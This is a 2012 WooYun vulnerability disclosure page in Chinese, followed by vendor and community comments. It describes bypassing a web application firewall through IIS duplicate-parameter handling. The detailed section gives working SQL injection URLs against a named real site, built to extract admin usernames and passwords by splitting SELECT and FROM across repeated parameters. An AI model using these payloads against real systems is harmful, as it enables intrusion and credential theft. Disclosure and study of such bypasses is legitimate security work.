当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-09909

漏洞标题：创新工厂安全宝安全防护绕过漏洞(I)

相关厂商：安全宝

漏洞作者： possible

提交时间：2012-07-19 22:59

修复时间：2012-07-20 16:34

公开时间：2012-07-20 16:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-07-19： 细节已通知厂商并且等待厂商处理中
2012-07-20： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

在某些web环境下，安全宝对防范sql的部分防护规则可被绕过,继续注入...

详细说明：

很简单，利用iis对复参的特殊处理，即可绕过防护规则.
构造如下请求:
http://www.51qljr.com/xinxi/shownews.asp?id=(-575)UNION SELECT 1,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17,18 from admin
返回:


已经被成功阻断，简单猜测规则应该形如select.*from
利用复参，分割select与from，构造如下请求:
http://www.51qljr.com/xinxi/shownews.asp?id=(-575)UNION SELECT 1,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17&id=18 from admin
返回

漏洞证明：

无

修复方案：

这个修复我还没想好，望看者给予补充:
在进行规则匹配之前，首先向iis一样对复参进行重组,如请求name=select&name=from，重组后name=select,from然后在进行规则匹配
但是这样代价很过，对所有的请求都要进行检查，是否得不偿失....
还希望大家给出更好的修改建议...

版权声明：转载请注明来源 possible@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2012-07-20 16:34

厂商回复：

经过我们的验证，此sql语句并不能绕过安全宝的安全防护，是因为http://www.51qljr.com/这个网站没有开启安全宝的防护，这个网站开启的是 智创网站专业级防火墙，所以被绕过的是 智创网站专业级防火墙。

漏洞Rank：8 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论

  1. 2012-07-19 23:12 | FlyR4nk ( 普通白帽子 | Rank:119 漏洞数:18 )

    安全宝一直都不给力你

  2. 2012-07-19 23:30 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @_@黑阔啊

  3. 2012-07-19 23:37 | also ( 普通白帽子 | Rank:424 漏洞数:52 | 招渗透/php/前端/ios&android安全，广州地...)

    (I) 还有后续

  4. 2012-07-20 00:29 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @also 我相信。。。

  5. 2012-07-20 00:37 | Cp0204 ( 实习白帽子 | Rank:37 漏洞数:4 | 著名艺术家)

    坐等真想

  6. 2012-07-20 08:59 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @FlyR4nk 安全宝给不给力 我不知道 我就看到安全宝rank挺给力的 呵呵 其它的都不重要的...

  7. 2012-07-20 09:47 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    你和@rayh4c 研究到一块去了

  8. 2012-07-20 10:22 | rayh4c ( 普通白帽子 | Rank:240 漏洞数:23 )

    @horseluke 我可没研究，能绕的方法太多了。一般国内这块都不敢放出来打擂台。

  9. 2012-07-20 11:01 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @horseluke 我也是偶尔看到 为了刷点rank... @rayh4c 大神说的对呀，这种东西 我都不知道在网上怎么找，貌似都找不到，我还是拿你原来用的站举个例子

  10. 2012-07-20 11:42 | rayh4c ( 普通白帽子 | Rank:240 漏洞数:23 )

    @possible WooYun: 创新工厂安全宝注射 这个？ ：）

  11. 2012-07-20 11:52 | CJ也疯狂 ( 路人 | Rank:7 漏洞数:3 | 专业源于专注！踏踏实实走好每一步)

    嚯~

  12. 2012-07-20 11:57 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @rayh4c 是的

  13. 2012-07-20 12:09 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @rayh4c 是的 哈哈 都不敢出来打擂台 吹牛可以

  14. 2012-07-20 14:14 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @Cp0204 不要等了 就怕到时让你失望，很简单的绕过...

  15. 2012-07-20 14:22 | Cp0204 ( 实习白帽子 | Rank:37 漏洞数:4 | 著名艺术家)

    @possible 简单不是问题，问题是安全宝，很简单都犯，丢大脸了～

  16. 2012-07-20 14:32 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @Cp0204 人非圣贤...

  17. 2012-07-20 14:33 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @Cp0204 安全宝这种产品应该用做cdn来

  18. 2012-07-20 14:56 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @xsser 这下丢人丢大了 是误报 崩溃了，不知道是否可以改改标题 发给智创？

  19. 2012-07-20 14:57 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @possible 啊？

  20. 2012-07-20 17:18 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @possible http://www.wooyun.org/upload/201207/1920431263dea753e65024a9d6e8ff89a0f7263f.jpg这个不是安全宝防火墙- -.很早了的,是星外的...

  21. 2012-07-20 17:21 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @_Evil额 早点告诉我 我就不来丢人了 星外是啥？上面写着 智创